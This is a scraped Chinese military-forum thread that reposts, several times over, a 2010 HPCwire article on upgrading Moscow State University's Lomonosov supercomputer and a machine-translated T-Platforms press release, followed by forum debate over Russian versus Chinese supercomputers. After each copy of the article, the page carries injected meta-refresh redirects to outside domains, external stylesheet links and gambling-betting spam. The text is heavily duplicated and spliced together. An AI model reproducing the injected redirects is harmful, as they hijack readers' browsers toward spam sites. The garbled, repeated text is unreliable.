超级军网2010年莫斯科大学将实现突破Linpack petaflop- T-Platfo ...
来源：百度文库 编辑：超级军网 时间：2024/04/28 15:24:09
<br /><br />=================================================
http://www.hpcwire.com/features/ ... tions-88264637.html
------------------
March 17, 2010
Moscow State University Supercomputer Has Petaflop Aspirations
by Tiffany Trader, Associate Editor, HPCwire
--------------------------------------------------------------------------------
The Moscow State University (MSU) supercomputer, Lomonosov, has been selected for a high-performance makeover, with the goal of nearly tripling its current processing power to achieve petaflop-level performance in 2010. T-Platforms, who developed and manufactured the supercomputer, is the odds-on favorite to lead the project.
With a current Linpack mark of 350 teraflops (peak: 420 teraflops), Lomonosov needs to generate an additional 650 teraflops of performance to achieve its goal. No small task. So far, there are only two computers that have broken the Linpack petaflop barrier, Jaguar at Oak Ridge National Lab, which holds the number one position on the TOP500 list, and Roadrunner at Los Alamos National Lab, with the number two spot. Lomonosov ranks 12th on the most recent edition of the TOP500 list and is the largest HPC system in the CIS and Eastern Europe.
Officials at Moscow State University held a meeting this week in order to establish a budget for the petaflops revamping of the Lomonosov system. According to Russian State Duma Speaker Boris Gryzlov, MSU has prepared a feasibility study on the effectiveness of creating a petaflops supercomputer, and the matter will be brought up to the President and Chairman of the government for approval.
Total university funding in 2010 from the Russian federal government will amount to 1.5 billion rubles ($51 million). The anticipated cost of increasing the computer's performance to reach petaflop-level is about 900 million rubles, or almost $31 million, according to Moscow State University President Victor Sadovnichy. MSU has already invested 350 million rubles ($12 million) in the Lomonosov system, and the total project cost so far is 1.9 billion rubles ($65 million). MSU is ready to provide up to a quarter of the cost of hardware, said Sadovnichy.
Apparently, the amounts specified to upgrade the system refer only to the procurement and installation of equipment, and do not include system maintenance and electricity costs. Current power requirements are around 5 MW, which, according to Sadovnichy, is comparable to powering a small city.
"Lomonosov" and its predecessor "Chebyshev" are responsible for many research breakthroughs, including an inhibitor of thrombin (a substance retarding the effect of the main component of blood clotting), as well as the development of urokinase, a possible cancer treatment. In addition to these undertakings, Lomonosov has been kept busy modeling climate processes, factoring large integers to solve cryptographic problems, and calculating the noise in turbulent environments.
The renovation work for transforming Lomonosov into a petaflop system is being put to a competitive bid, but is seems likely that T-Platforms will get the contract since it is the only Russian manufacturer with the know-how to implement such a project. And there's a partiality toward assigning work to national interests. State Duma Speaker Boris Gryzlov, who backs the creation of a domestic petaflop supercomputer, prefers to support domestic producers of supercomputers, and urged caution against the procurement of foreign goods.
Mikhail Kozhevnikov, commercial director for T-Platforms, has already prepared a bid and decided upon an upgrade path for the petaflop system. The details of the proposed architecture have not been publicly declared, however a good guess would be that they're going to add new nodes based on the Westmere EP Xeon processors Intel just announced.
Specifically, since the current MSU super is based on the T-Blade2, Xeon X5570 2.93 GHz, it's not unreasonable to think they're bidding T-Blade3 blades using Xeon X5670 2.93 GHz parts (note, the T-Blade3 don't actually exist yet). Since the new Xeons only deliver about 40 percent more computational performance per blade than the existing ones, they'll still need a bunch more servers. Alternatively, they could be thinking about upgrading with the upcoming NVIDIA Fermi GPU server boards, due out in May. That would get them to a petaflop with a lot less hardware. (A dual-socket X5670 server would yield about 250 DP gigaflops; a 4-GPU Fermi server would probably deliver over 2 DP teraflops.)
Russian Prime Minister Vladimir Putin has allocated 1.1 billion rubles ($37 million) to develop supercomputer technologies in Russia, according to a recent APA report, further demonstrating Russia's desire to possess a world-class computer system, one that may be capable of a place among the top 5 of the revered TOP500 list. Barring any unforeseen circumstances, it looks like the Lomonosov upgrade will go forward, and Russia will take its place on the exclusive short-list of petaflop systems. But, in HPC, the final goal is always a moving target, as other groups also race for the coveted petaflops level and beyond.<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台<br /><br />=================================================
http://www.hpcwire.com/features/ ... tions-88264637.html
------------------
March 17, 2010
Moscow State University Supercomputer Has Petaflop Aspirations
by Tiffany Trader, Associate Editor, HPCwire
--------------------------------------------------------------------------------
The Moscow State University (MSU) supercomputer, Lomonosov, has been selected for a high-performance makeover, with the goal of nearly tripling its current processing power to achieve petaflop-level performance in 2010. T-Platforms, who developed and manufactured the supercomputer, is the odds-on favorite to lead the project.
With a current Linpack mark of 350 teraflops (peak: 420 teraflops), Lomonosov needs to generate an additional 650 teraflops of performance to achieve its goal. No small task. So far, there are only two computers that have broken the Linpack petaflop barrier, Jaguar at Oak Ridge National Lab, which holds the number one position on the TOP500 list, and Roadrunner at Los Alamos National Lab, with the number two spot. Lomonosov ranks 12th on the most recent edition of the TOP500 list and is the largest HPC system in the CIS and Eastern Europe.
Officials at Moscow State University held a meeting this week in order to establish a budget for the petaflops revamping of the Lomonosov system. According to Russian State Duma Speaker Boris Gryzlov, MSU has prepared a feasibility study on the effectiveness of creating a petaflops supercomputer, and the matter will be brought up to the President and Chairman of the government for approval.
Total university funding in 2010 from the Russian federal government will amount to 1.5 billion rubles ($51 million). The anticipated cost of increasing the computer's performance to reach petaflop-level is about 900 million rubles, or almost $31 million, according to Moscow State University President Victor Sadovnichy. MSU has already invested 350 million rubles ($12 million) in the Lomonosov system, and the total project cost so far is 1.9 billion rubles ($65 million). MSU is ready to provide up to a quarter of the cost of hardware, said Sadovnichy.
Apparently, the amounts specified to upgrade the system refer only to the procurement and installation of equipment, and do not include system maintenance and electricity costs. Current power requirements are around 5 MW, which, according to Sadovnichy, is comparable to powering a small city.
"Lomonosov" and its predecessor "Chebyshev" are responsible for many research breakthroughs, including an inhibitor of thrombin (a substance retarding the effect of the main component of blood clotting), as well as the development of urokinase, a possible cancer treatment. In addition to these undertakings, Lomonosov has been kept busy modeling climate processes, factoring large integers to solve cryptographic problems, and calculating the noise in turbulent environments.
The renovation work for transforming Lomonosov into a petaflop system is being put to a competitive bid, but is seems likely that T-Platforms will get the contract since it is the only Russian manufacturer with the know-how to implement such a project. And there's a partiality toward assigning work to national interests. State Duma Speaker Boris Gryzlov, who backs the creation of a domestic petaflop supercomputer, prefers to support domestic producers of supercomputers, and urged caution against the procurement of foreign goods.
Mikhail Kozhevnikov, commercial director for T-Platforms, has already prepared a bid and decided upon an upgrade path for the petaflop system. The details of the proposed architecture have not been publicly declared, however a good guess would be that they're going to add new nodes based on the Westmere EP Xeon processors Intel just announced.
Specifically, since the current MSU super is based on the T-Blade2, Xeon X5570 2.93 GHz, it's not unreasonable to think they're bidding T-Blade3 blades using Xeon X5670 2.93 GHz parts (note, the T-Blade3 don't actually exist yet). Since the new Xeons only deliver about 40 percent more computational performance per blade than the existing ones, they'll still need a bunch more servers. Alternatively, they could be thinking about upgrading with the upcoming NVIDIA Fermi GPU server boards, due out in May. That would get them to a petaflop with a lot less hardware. (A dual-socket X5670 server would yield about 250 DP gigaflops; a 4-GPU Fermi server would probably deliver over 2 DP teraflops.)
Russian Prime Minister Vladimir Putin has allocated 1.1 billion rubles ($37 million) to develop supercomputer technologies in Russia, according to a recent APA report, further demonstrating Russia's desire to possess a world-class computer system, one that may be capable of a place among the top 5 of the revered TOP500 list. Barring any unforeseen circumstances, it looks like the Lomonosov upgrade will go forward, and Russia will take its place on the exclusive short-list of petaflop systems. But, in HPC, the final goal is always a moving target, as other groups also race for the coveted petaflops level and beyond.<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台
http://www.hpcwire.com/features/ ... tions-88264637.html
------------------
March 17, 2010
Moscow State University Supercomputer Has Petaflop Aspirations
by Tiffany Trader, Associate Editor, HPCwire
--------------------------------------------------------------------------------
The Moscow State University (MSU) supercomputer, Lomonosov, has been selected for a high-performance makeover, with the goal of nearly tripling its current processing power to achieve petaflop-level performance in 2010. T-Platforms, who developed and manufactured the supercomputer, is the odds-on favorite to lead the project.
With a current Linpack mark of 350 teraflops (peak: 420 teraflops), Lomonosov needs to generate an additional 650 teraflops of performance to achieve its goal. No small task. So far, there are only two computers that have broken the Linpack petaflop barrier, Jaguar at Oak Ridge National Lab, which holds the number one position on the TOP500 list, and Roadrunner at Los Alamos National Lab, with the number two spot. Lomonosov ranks 12th on the most recent edition of the TOP500 list and is the largest HPC system in the CIS and Eastern Europe.
Officials at Moscow State University held a meeting this week in order to establish a budget for the petaflops revamping of the Lomonosov system. According to Russian State Duma Speaker Boris Gryzlov, MSU has prepared a feasibility study on the effectiveness of creating a petaflops supercomputer, and the matter will be brought up to the President and Chairman of the government for approval.
Total university funding in 2010 from the Russian federal government will amount to 1.5 billion rubles ($51 million). The anticipated cost of increasing the computer's performance to reach petaflop-level is about 900 million rubles, or almost $31 million, according to Moscow State University President Victor Sadovnichy. MSU has already invested 350 million rubles ($12 million) in the Lomonosov system, and the total project cost so far is 1.9 billion rubles ($65 million). MSU is ready to provide up to a quarter of the cost of hardware, said Sadovnichy.
Apparently, the amounts specified to upgrade the system refer only to the procurement and installation of equipment, and do not include system maintenance and electricity costs. Current power requirements are around 5 MW, which, according to Sadovnichy, is comparable to powering a small city.
"Lomonosov" and its predecessor "Chebyshev" are responsible for many research breakthroughs, including an inhibitor of thrombin (a substance retarding the effect of the main component of blood clotting), as well as the development of urokinase, a possible cancer treatment. In addition to these undertakings, Lomonosov has been kept busy modeling climate processes, factoring large integers to solve cryptographic problems, and calculating the noise in turbulent environments.
The renovation work for transforming Lomonosov into a petaflop system is being put to a competitive bid, but is seems likely that T-Platforms will get the contract since it is the only Russian manufacturer with the know-how to implement such a project. And there's a partiality toward assigning work to national interests. State Duma Speaker Boris Gryzlov, who backs the creation of a domestic petaflop supercomputer, prefers to support domestic producers of supercomputers, and urged caution against the procurement of foreign goods.
Mikhail Kozhevnikov, commercial director for T-Platforms, has already prepared a bid and decided upon an upgrade path for the petaflop system. The details of the proposed architecture have not been publicly declared, however a good guess would be that they're going to add new nodes based on the Westmere EP Xeon processors Intel just announced.
Specifically, since the current MSU super is based on the T-Blade2, Xeon X5570 2.93 GHz, it's not unreasonable to think they're bidding T-Blade3 blades using Xeon X5670 2.93 GHz parts (note, the T-Blade3 don't actually exist yet). Since the new Xeons only deliver about 40 percent more computational performance per blade than the existing ones, they'll still need a bunch more servers. Alternatively, they could be thinking about upgrading with the upcoming NVIDIA Fermi GPU server boards, due out in May. That would get them to a petaflop with a lot less hardware. (A dual-socket X5670 server would yield about 250 DP gigaflops; a 4-GPU Fermi server would probably deliver over 2 DP teraflops.)
Russian Prime Minister Vladimir Putin has allocated 1.1 billion rubles ($37 million) to develop supercomputer technologies in Russia, according to a recent APA report, further demonstrating Russia's desire to possess a world-class computer system, one that may be capable of a place among the top 5 of the revered TOP500 list. Barring any unforeseen circumstances, it looks like the Lomonosov upgrade will go forward, and Russia will take its place on the exclusive short-list of petaflop systems. But, in HPC, the final goal is always a moving target, as other groups also race for the coveted petaflops level and beyond.<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台<br /><br />=================================================
http://www.hpcwire.com/features/ ... tions-88264637.html
------------------
March 17, 2010
Moscow State University Supercomputer Has Petaflop Aspirations
by Tiffany Trader, Associate Editor, HPCwire
--------------------------------------------------------------------------------
The Moscow State University (MSU) supercomputer, Lomonosov, has been selected for a high-performance makeover, with the goal of nearly tripling its current processing power to achieve petaflop-level performance in 2010. T-Platforms, who developed and manufactured the supercomputer, is the odds-on favorite to lead the project.
With a current Linpack mark of 350 teraflops (peak: 420 teraflops), Lomonosov needs to generate an additional 650 teraflops of performance to achieve its goal. No small task. So far, there are only two computers that have broken the Linpack petaflop barrier, Jaguar at Oak Ridge National Lab, which holds the number one position on the TOP500 list, and Roadrunner at Los Alamos National Lab, with the number two spot. Lomonosov ranks 12th on the most recent edition of the TOP500 list and is the largest HPC system in the CIS and Eastern Europe.
Officials at Moscow State University held a meeting this week in order to establish a budget for the petaflops revamping of the Lomonosov system. According to Russian State Duma Speaker Boris Gryzlov, MSU has prepared a feasibility study on the effectiveness of creating a petaflops supercomputer, and the matter will be brought up to the President and Chairman of the government for approval.
Total university funding in 2010 from the Russian federal government will amount to 1.5 billion rubles ($51 million). The anticipated cost of increasing the computer's performance to reach petaflop-level is about 900 million rubles, or almost $31 million, according to Moscow State University President Victor Sadovnichy. MSU has already invested 350 million rubles ($12 million) in the Lomonosov system, and the total project cost so far is 1.9 billion rubles ($65 million). MSU is ready to provide up to a quarter of the cost of hardware, said Sadovnichy.
Apparently, the amounts specified to upgrade the system refer only to the procurement and installation of equipment, and do not include system maintenance and electricity costs. Current power requirements are around 5 MW, which, according to Sadovnichy, is comparable to powering a small city.
"Lomonosov" and its predecessor "Chebyshev" are responsible for many research breakthroughs, including an inhibitor of thrombin (a substance retarding the effect of the main component of blood clotting), as well as the development of urokinase, a possible cancer treatment. In addition to these undertakings, Lomonosov has been kept busy modeling climate processes, factoring large integers to solve cryptographic problems, and calculating the noise in turbulent environments.
The renovation work for transforming Lomonosov into a petaflop system is being put to a competitive bid, but is seems likely that T-Platforms will get the contract since it is the only Russian manufacturer with the know-how to implement such a project. And there's a partiality toward assigning work to national interests. State Duma Speaker Boris Gryzlov, who backs the creation of a domestic petaflop supercomputer, prefers to support domestic producers of supercomputers, and urged caution against the procurement of foreign goods.
Mikhail Kozhevnikov, commercial director for T-Platforms, has already prepared a bid and decided upon an upgrade path for the petaflop system. The details of the proposed architecture have not been publicly declared, however a good guess would be that they're going to add new nodes based on the Westmere EP Xeon processors Intel just announced.
Specifically, since the current MSU super is based on the T-Blade2, Xeon X5570 2.93 GHz, it's not unreasonable to think they're bidding T-Blade3 blades using Xeon X5670 2.93 GHz parts (note, the T-Blade3 don't actually exist yet). Since the new Xeons only deliver about 40 percent more computational performance per blade than the existing ones, they'll still need a bunch more servers. Alternatively, they could be thinking about upgrading with the upcoming NVIDIA Fermi GPU server boards, due out in May. That would get them to a petaflop with a lot less hardware. (A dual-socket X5670 server would yield about 250 DP gigaflops; a 4-GPU Fermi server would probably deliver over 2 DP teraflops.)
Russian Prime Minister Vladimir Putin has allocated 1.1 billion rubles ($37 million) to develop supercomputer technologies in Russia, according to a recent APA report, further demonstrating Russia's desire to possess a world-class computer system, one that may be capable of a place among the top 5 of the revered TOP500 list. Barring any unforeseen circumstances, it looks like the Lomonosov upgrade will go forward, and Russia will take its place on the exclusive short-list of petaflop systems. But, in HPC, the final goal is always a moving target, as other groups also race for the coveted petaflops level and beyond.<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台
http://www.hpcwire.com/offthewir ... arket-41100457.html
http://www.hpcwire.com/offthewir ... ISC09-50138097.html
http://www.hpcwire.com/offthewir ... t-ISC-48764712.html
http://www.hpcwire.com/offthewir ... ISC09-50138097.html
http://www.hpcwire.com/offthewir ... t-ISC-48764712.html
俄国人就别咋呼了。。。最近10年俄国有几台机器进过top500。。。
这个毛子和TG都不是MD的对手，都只能是学生。毛子宣传员还咋呼呼呢
回复 4# 业余分析员
说你是艾斯AC还算客气的。
说你是艾斯AC还算客气的。
说你是搬运工都是抬举你了，真的。你能在你自己学的那个领域里搞点知识就阿米陀佛了。;P
毛子要搞超算也是正常，不知跟我们比有何优缺点？谁来说说。
C卫星 发表于 2010-5-28 16:47 
欧洲三家，它有一家。 T-blade 2 技术（开发中的T-blade 3) 据西方说技术不错。
欧洲三家，它有一家。 T-blade 2 技术（开发中的T-blade 3) 据西方说技术不错。
LZ您不累么，一提到毛子就想尽一切办法往死里捧，我们的天河一号没出来前，您大肆吹嘘毛子在研的500万亿次超算（其实也是个组装货，不是它自己的芯片和OS，不过，，，这些您是不会看到的），现在没人拿这个旧事奚落您，已经是都很给您留面子了，您能别给脸不要脸么？{:3_91:}
回复 9# 常凯申2.0版
艾斯AC...................鉴定完毕。
艾斯AC...................鉴定完毕。
欧洲能做mpp/numa的基本没有。
现在只有美帝，土鳖和11区还在认真做。
t-blade技术是不错，但是话说的狠一点，就是密度更高点的刀片cluster而已。
反正俄毛那里冷。
欧洲三家，它有一家。 T-blade 2 技术（开发中的T-blade 3) 据西方说技术不错。
JSTCVW09CD 发表于 2010-5-28 17:38
欧洲能做mpp/numa的基本没有。
现在只有美帝，土鳖和11区还在认真做。
t-blade技术是不错，但是话说的狠一点，就是密度更高点的刀片cluster而已。
反正俄毛那里冷。
欧洲三家，它有一家。 T-blade 2 技术（开发中的T-blade 3) 据西方说技术不错。
JSTCVW09CD 发表于 2010-5-28 17:38
欧洲能做mpp/numa的基本没有。
现在只有美帝，土鳖和11区还在认真做。
t-blade技术是不错，但是话说的狠 ...
bessel 发表于 2010-5-28 18:32
别人基于linux开发的OS也是很厉害的， 可以关注一下。
欧洲能做mpp/numa的基本没有。
现在只有美帝，土鳖和11区还在认真做。
t-blade技术是不错，但是话说的狠 ...
bessel 发表于 2010-5-28 18:32
别人基于linux开发的OS也是很厉害的， 可以关注一下。
http://www.t-platforms.ru/ru/about/allnews/233-exaflop.html
================
T-Platforms "presented the development of software for supercomputers ekzaflopsnyh
the international conference "Parallel Computing Technologies 2010" supercomputer holding T-Platforms "first introduced a wide audience in Russia, the development of software for supercomputers ekzaflopnogo level of performance. Furthermore, the experts talked about holding global technological challenges facing the developers of such powerful systems.
According to the forecasts of world experts supercomputers overcome ekzaflopny line performance only after 10-11 years, but the development of software for such systems, experts were preoccupied right now. Last year was the establishment of an international project to develop software for the ECWA-calculation (International Exascale Software Project), and this year at the initiative of this project, the G agreed to allocate 10 million euros for the development of system and application software for ekzaflopnyh systems.
Meanwhile, the domestic software installations that level already being developed, and the first achievements have been submitted to a wide audience in Russia at the International Conference "Parallel Computing Technologies 2010.
The development is called Clustrx ® and represents the operating system for supercomputing cluster architecture, which for the first time all the means to monitor and control the machine is fully supported by the operating system, rather than in a separate package, in contrast to other solutions on the market. This operating system allows you to serve the entire life cycle of a supercomputer without having to install third-party software products and created in order to ensure the effective operation of supercomputers at different levels of performance: from teraflopnogo to ekzaflopnogo.
Now running Clustrx ® operates the most powerful supercomputer in Eastern Europe "Lomonosov", established at Moscow State University.
Clustrx ® operating system developed by T-Massive Computing, which is part of holding "T-Platforms". In the development of this software Holding has invested more than $ 1 million. The new software package will be delivered as a part of high-performance solutions company T-Platforms "as well as a separate product. In addition, in the nearest future developers - creating a version Clustrx ® for personal supercomputers.
"At the moment Clustrx ® is unique not only in CIS, but also in the world. Most of it is developed by us from scratch, and we have done a great job to create a flexible and efficient system platform, suitable for large installations teraflopnogo, petaflopnogo and ekzaflopnogo level of performance. It is our goal - to ensure the effective operation of systems with a heterogeneous and hybrid architecture ", - said Sergei Ryabchun, CTO of T-Massive Computing, representing Clustrx ® at the conference.
Subject creating supercomputers ekzaflopnogo level in recent years is gaining popularity, as there are tasks that can be solved only with their help. These problems include, for example, the creation of climate models with high resolution, designing nuclear reactors, simulation of protein folding simulation of human impact on the environment and many others.
On the technological challenges of building ECWA-supercomputers at the conference said the technical director of T-Platforms "Alexander Naumov. In particular, he noted that the highest priority of the developers of such systems is to create a fundamentally new technologies to tackle the underlying problem - too high power consumption. Experts believe that for the transition to ekzaflopsu require new "light" processors with a large number of less productive nuclei, alternative technologies of memory, an optical interconnect, and many other revolutionary solutions.
================
T-Platforms "presented the development of software for supercomputers ekzaflopsnyh
the international conference "Parallel Computing Technologies 2010" supercomputer holding T-Platforms "first introduced a wide audience in Russia, the development of software for supercomputers ekzaflopnogo level of performance. Furthermore, the experts talked about holding global technological challenges facing the developers of such powerful systems.
According to the forecasts of world experts supercomputers overcome ekzaflopny line performance only after 10-11 years, but the development of software for such systems, experts were preoccupied right now. Last year was the establishment of an international project to develop software for the ECWA-calculation (International Exascale Software Project), and this year at the initiative of this project, the G agreed to allocate 10 million euros for the development of system and application software for ekzaflopnyh systems.
Meanwhile, the domestic software installations that level already being developed, and the first achievements have been submitted to a wide audience in Russia at the International Conference "Parallel Computing Technologies 2010.
The development is called Clustrx ® and represents the operating system for supercomputing cluster architecture, which for the first time all the means to monitor and control the machine is fully supported by the operating system, rather than in a separate package, in contrast to other solutions on the market. This operating system allows you to serve the entire life cycle of a supercomputer without having to install third-party software products and created in order to ensure the effective operation of supercomputers at different levels of performance: from teraflopnogo to ekzaflopnogo.
Now running Clustrx ® operates the most powerful supercomputer in Eastern Europe "Lomonosov", established at Moscow State University.
Clustrx ® operating system developed by T-Massive Computing, which is part of holding "T-Platforms". In the development of this software Holding has invested more than $ 1 million. The new software package will be delivered as a part of high-performance solutions company T-Platforms "as well as a separate product. In addition, in the nearest future developers - creating a version Clustrx ® for personal supercomputers.
"At the moment Clustrx ® is unique not only in CIS, but also in the world. Most of it is developed by us from scratch, and we have done a great job to create a flexible and efficient system platform, suitable for large installations teraflopnogo, petaflopnogo and ekzaflopnogo level of performance. It is our goal - to ensure the effective operation of systems with a heterogeneous and hybrid architecture ", - said Sergei Ryabchun, CTO of T-Massive Computing, representing Clustrx ® at the conference.
Subject creating supercomputers ekzaflopnogo level in recent years is gaining popularity, as there are tasks that can be solved only with their help. These problems include, for example, the creation of climate models with high resolution, designing nuclear reactors, simulation of protein folding simulation of human impact on the environment and many others.
On the technological challenges of building ECWA-supercomputers at the conference said the technical director of T-Platforms "Alexander Naumov. In particular, he noted that the highest priority of the developers of such systems is to create a fundamentally new technologies to tackle the underlying problem - too high power consumption. Experts believe that for the transition to ekzaflopsu require new "light" processors with a large number of less productive nuclei, alternative technologies of memory, an optical interconnect, and many other revolutionary solutions.
常凯申2.0版 发表于 2010-5-28 17:44
您这么说不太好吧，“天河”还不是也用外国的芯片，就这点来说“天河”也是个组装货。
您这么说不太好吧，“天河”还不是也用外国的芯片，就这点来说“天河”也是个组装货。
毛货虽说粗糙，但现在人家也求精了，应当重视而不是鄙视。毛子毕竟还是有料的，他可不是三哥和棒子。
JSTCVW09CD 发表于 2010-5-28 19:14
就是个CLUSTER罢了;P
水平跟曙光有得一拼
水平跟曙光有得一拼
bessel 发表于 2010-5-28 19:56
能做到这一点的， 恐怕没有几家吧。
"At the moment Clustrx is unique not only in CIS, but also in the world. Most of it is developed by us from scratch, and we have done a great job to create a flexible and efficient system platform, suitable for large installations teraflopnogo, petaflopnogo and ekzaflopnogo level of performance. It is our goal - to ensure the effective operation of systems with a heterogeneous and hybrid architecture ", - said Sergei Ryabchun, CTO of T-Massive Computing, representing Clustrx ® at the conference.
能做到这一点的， 恐怕没有几家吧。
C卫星 发表于 2010-5-28 19:49
所以我才说了个“也”嘛，天河一号自然组装货，不过，同是组装货，好歹1200万亿次总要强过那还没露面的500万亿次毛子产品，对吧？更何况，将来天河二号就会用国产芯片了，国产OS也不会等很久，何必把毛子捧那么高？
所以我才说了个“也”嘛，天河一号自然组装货，不过，同是组装货，好歹1200万亿次总要强过那还没露面的500万亿次毛子产品，对吧？更何况，将来天河二号就会用国产芯片了，国产OS也不会等很久，何必把毛子捧那么高？
常凯申2.0版 发表于 2010-5-29 00:58
呵呵，我可不是要抬高毛子，只是觉得应该要重视毛子。毛子虽说是衰落了，但还是有料的。
呵呵，我可不是要抬高毛子，只是觉得应该要重视毛子。毛子虽说是衰落了，但还是有料的。
土鳖和毛鳖都是组装货，有什么脸值得吹嘘的？特别是这个毛子忽悠宣传委员，有些忽悠明显胡诌八扯，淆乱乾坤。{:3_98:}
JSTCVW09CD 发表于 2010-5-28 19:14
嘿嘿，嘿嘿，。。。。。。。。。。。某基于FREEBSD的系统发来贺电。。。。。。。。
要基于UNIX的那才叫牛。。。。。。。。。。
嘿嘿，嘿嘿，。。。。。。。。。。。某基于FREEBSD的系统发来贺电。。。。。。。。
要基于UNIX的那才叫牛。。。。。。。。。。
Linux是自由软件，免费、公开源代码的. 而UNIX是什么？某些人可能没搞清楚其中的区别。。。。。。。
pinjun 发表于 2010-5-29 10:54
超算不是DIY这么简单。。。。。。。。:handshake
超算不是DIY这么简单。。。。。。。。:handshake
JSTCVW09CD 发表于 2010-5-28 22:54
=====================
俄罗斯未来的HPC 芯片Elbrus多核处理器的设计者。
MCST经过Intel的洗劫后， 全部年轻化的面孔。
Elbrus能否再现辉煌？
---------
=====================
俄罗斯未来的HPC 芯片Elbrus多核处理器的设计者。
MCST经过Intel的洗劫后， 全部年轻化的面孔。
Elbrus能否再现辉煌？
---------
回复 26# JSTCVW09CD
MCST怎么被intel洗劫的，说说？
MCST怎么被intel洗劫的，说说？
386i 发表于 2010-5-30 23:36
http://www.intel.com/pressroom/kits/bios/bbabayan.htm
http://www.intel.com/pressroom/kits/bios/bbabayan.htm
JSTCVW09CD 发表于 2010-5-30 23:40
做编译器的
可见鹅毛IC设计也落后很多，intel没啥可挖的
做编译器的
可见鹅毛IC设计也落后很多，intel没啥可挖的
386i 发表于 2010-5-30 23:48
说话之前多做点家庭作业不是坏事.............瞎说就不负责任了。 :handshake
--
http://www.extremetech.com/article2/0,2845,1599128,00.asp
http://en.wikipedia.org/wiki/BESM
http://en.wikipedia.org/wiki/Elbrus_(computer)
说话之前多做点家庭作业不是坏事.............瞎说就不负责任了。 :handshake
--
http://www.extremetech.com/article2/0,2845,1599128,00.asp
http://en.wikipedia.org/wiki/BESM
http://en.wikipedia.org/wiki/Elbrus_(computer)
基本上看下来俄毛没有TG钱多……
水平半斤八两
水平半斤八两